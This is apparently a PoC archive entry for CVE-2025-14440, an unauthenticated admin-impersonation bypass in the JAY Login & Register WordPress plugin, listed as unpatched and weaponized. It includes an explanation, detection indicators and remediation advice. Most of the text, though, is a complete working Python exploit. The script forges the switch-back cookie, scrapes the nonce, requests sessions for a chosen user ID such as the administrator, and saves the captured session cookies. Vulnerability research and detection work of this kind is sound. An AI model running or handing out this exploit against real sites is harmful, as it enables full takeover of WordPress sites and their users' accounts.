PoC Archive PoC Archive
Critical CVE-2025-14440 unpatched

JAY Login & Register "Switch Back" Cookie Authentication Bypass (CVE-2025-14440)

by Nxploited (Khaled Alenazi) · 2026-07-06

CVSS 9.8/10
Severity
Critical
CVE
CVE-2025-14440
Category
web
Affected product
JAY Login & Register (WordPress plugin)
Affected versions
<= 2.4.01
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherNxploited (Khaled Alenazi)
CVE / AdvisoryCVE-2025-14440
Categoryweb
SeverityCritical
CVSS Score9.8 (per NVD)
StatusWeaponized
Tagswordpress, jay-login-register, authentication-bypass, cookie-manipulation, unauthenticated, python, cwe-287, cwe-290
RelatedN/A

Affected Target

FieldValue
Software / SystemJAY Login & Register (WordPress plugin)
Versions Affected<= 2.4.01
Language / PlatformPython 3 exploit targeting a PHP/WordPress plugin
Authentication RequiredNo
Network Access RequiredYes

Summary

The JAY Login & Register plugin implements a “switch back” feature — presumably intended for admins who impersonate another user to later switch back to their own account — via the jay_login_register_process_switch_back handler. This handler trusts the client-supplied jay_login_register_switched_from_user cookie to determine which user session to restore, without adequately validating that the requester was actually the legitimate original session holder. By setting this cookie to an arbitrary value and calling the jay_login_register_switch_back action with a target id parameter (plus a nonce scraped from the page), an unauthenticated attacker can cause the plugin to authenticate them as any existing user, including administrators, so long as the user ID is known or guessable.


Vulnerability Details

Root Cause

The exploit sets a static, attacker-chosen value for the trust-anchor cookie and never needs a genuine prior session:

1
2
3
4
5
6
HEADERS = {
    "User-Agent": "Mozilla/5.0 (Nxploited Exploit Script)",
    "Accept": "*/*",
    "Connection": "close",
    "Cookie": "jay_login_register_switched_from_user=1"
}

The nonce for the switch_back action is scraped directly from the public page (no authentication needed to view it):

1
2
match = re.search(r'href="[^"]*jay_login_register_switch_back[^"]*"', resp.text)
nonce_match = re.search(NONCE_REGEX, match.group(0))

The exploit then requests the switch-back action with the target’s id, and the plugin — trusting the forged cookie instead of verifying an actual prior authenticated session — authenticates the requester as that user:

1
2
3
4
5
exploit_params = {
    "action": "jay_login_register_switch_back",
    "_wpnonce": nonce,
    "id": user_id
}

Attack Vector

  1. Attacker requests the target site’s homepage (unauthenticated) with a forged jay_login_register_switched_from_user cookie, and extracts the switch_back nonce embedded in the page’s markup.
  2. Attacker sends GET /?action=jay_login_register_switch_back&_wpnonce=<nonce>&id=<target_user_id> with the same forged cookie.
  3. jay_login_register_process_switch_back validates only the cookie’s presence/format (not its legitimacy against a real prior session) and authenticates the request as the specified id, returning valid session cookies.
  4. Attacker repeats with id=1 (typically the administrator) to obtain full admin access.

Impact

Unauthenticated authentication bypass allowing impersonation of any existing WordPress user, including administrators — leading to full site compromise.


Environment / Lab Setup

Target: WordPress install with JAY Login & Register plugin <= 2.4.01 active
Attacker: Python 3, `pip install requests`

Proof of Concept

PoC Script

See CVE-2025-14440.py in this folder.

1
python3 CVE-2025-14440.py -u TARGET_URL -id 1

Detection & Indicators of Compromise

GET / HTTP/1.1
Cookie: jay_login_register_switched_from_user=1

GET /?action=jay_login_register_switch_back&_wpnonce=<nonce>&id=<n> HTTP/1.1
Cookie: jay_login_register_switched_from_user=1

Signs of compromise:

  • Requests carrying a jay_login_register_switched_from_user cookie without a corresponding legitimate prior admin-impersonation session
  • Successful authentication via the jay_login_register_switch_back action from IPs/User-Agents with no prior login history
  • Sudden admin-level session cookies issued to requests that never passed through /wp-login.php

Remediation

ActionDetail
Primary fixUpdate JAY Login & Register beyond 2.4.01 to a version that validates the jay_login_register_switched_from_user cookie against a server-side session record (not merely its presence/format) before restoring a switched-from user
Interim mitigationDisable the “switch back” / user-switching feature until patched; strip/reject client-supplied jay_login_register_switched_from_user cookies at the reverse proxy/WAF; monitor for the jay_login_register_switch_back action in access logs

References


Notes

Mirrored from https://github.com/Nxploited/CVE-2025-14440 on 2026-07-06. Templated Nxploited branding/disclaimer, but the cookie-forgery and nonce-extraction logic is functional and matches the stated auth-bypass CVE.

CVE-2025-14440.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
# -*- coding: utf-8 -*-
# By: Nxploited
# GitHub: https://github.com/Nxploited
# Telegram: https://t.me/Nxploited



import sys
import requests
import re
import os
import argparse
import logging
from urllib.parse import urlparse, urlunparse

SCRIPT_AUTHOR = "Nxploited"
GITHUB = "https://github.com/Nxploited"
TELEGRAM = "https://t.me/Nxploited"
HEADERS = {
    "User-Agent": "Mozilla/5.0 (Nxploited Exploit Script)",
    "Accept": "*/*",
    "Connection": "close",
    "Cookie": "jay_login_register_switched_from_user=1"
}
NONCE_REGEX = r'_wpnonce=([a-fA-F0-9]{10,})'
COOKIE_FILENAME = "extracted_cookies.txt"
TIMEOUT = 8
LOG_FORMAT = "[%(levelname)s] %(message)s"

logging.basicConfig(level=logging.INFO, format=LOG_FORMAT)
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

def sanitize_url(url):
    url = url.encode('utf-8', 'ignore').decode('utf-8', 'ignore')
    if not url.lower().startswith(("http://", "https://")):
        url = "http://" + url
    parts = list(urlparse(url))
    parts[2] = os.path.normpath(parts[2])
    return urlunparse(parts)

def extract_nonce(target_url):
    try:
        resp = requests.get(
            target_url.rstrip('/') + '/',
            headers=HEADERS,
            verify=False,
            timeout=TIMEOUT
        )
        if resp.status_code != 200:
            logging.error(f"Initial request returned status code {resp.status_code}")
            return None
        match = re.search(r'href="[^"]*jay_login_register_switch_back[^"]*"', resp.text)
        if not match:
            logging.error("Could not find the switch_back link in response.")
            return None
        nonce_match = re.search(NONCE_REGEX, match.group(0))
        if nonce_match:
            return nonce_match.group(1)
        logging.error("Nonce not found in the href attribute.")
    except Exception as e:
        logging.error(f"Exception extracting nonce: {e}")
    return None

def exploit(target_url, nonce, user_id):
    exploit_params = {
        "action": "jay_login_register_switch_back",
        "_wpnonce": nonce
    }
    if user_id:
        exploit_params["id"] = user_id

    try:
        with requests.Session() as session:
            session.headers.update(HEADERS)
            resp = session.get(
                target_url.rstrip('/') + '/',
                params=exploit_params,
                verify=False,
                timeout=TIMEOUT
            )
            cookies = session.cookies.get_dict()
            has_cookies = bool(cookies)
            if has_cookies:
                cookie_str = "; ".join(f"{k}={v}" for k, v in cookies.items())
                logging.info(f"[SUCCESS] Exploitation successful. Cookies:\n  {cookie_str}")
                store_cookie(target_url, cookie_str)
            else:
                logging.warning("No cookies returned. Exploitation may have failed.")
            return has_cookies
    except Exception as e:
        logging.error(f"Exception during exploit: {e}")
        return False

def store_cookie(target_url, cookie_str):
    try:
        parsed = urlparse(target_url)
        site = f"{parsed.scheme}://{parsed.netloc}"
        with open(COOKIE_FILENAME, "a", encoding="utf-8") as f:
            f.write(f'{site}: {cookie_str}\n')
        logging.info(f"[INFO] Cookies saved to: {COOKIE_FILENAME}")
    except Exception as e:
        logging.error(f"Failed to store cookies: {e}")

def main():
    parser = argparse.ArgumentParser(
        description="CVE-2025-14440 | Exploit By Nxploited (Khaled Alenazi)"
    )
    parser.add_argument('-u', '--url', required=True, help="Target URL (with or without http/https)")
    parser.add_argument('-id', '--id', required=False, help="User ID to use for exploitation")
    args = parser.parse_args()

    print("=======================================================")
    print(f"# CVE-2025-14440 | Exploit By {SCRIPT_AUTHOR} (Khaled Alenazi)")
    print(f"# GitHub: {GITHUB}")
    print(f"# Telegram: {TELEGRAM}")
    print("=======================================================")

    target_url = sanitize_url(args.url)
    user_id = args.id

    logging.info("Sanitized target URL: %s", target_url)
    logging.info("Attempting to extract Nonce...")

    nonce = extract_nonce(target_url)
    if nonce:
        logging.info(f"Extracted nonce: {nonce}")
    else:
        logging.error("Failed to extract nonce! Exiting.")
        sys.exit(1)

    logging.info("Attempting exploitation...")
    if exploit(target_url, nonce, user_id):
        logging.info("Exploit process completed. Check extracted_cookies.txt.")
    else:
        logging.warning("Exploit did not yield cookies. Target may not be vulnerable or input may be incorrect.")

if __name__ == "__main__":
    main()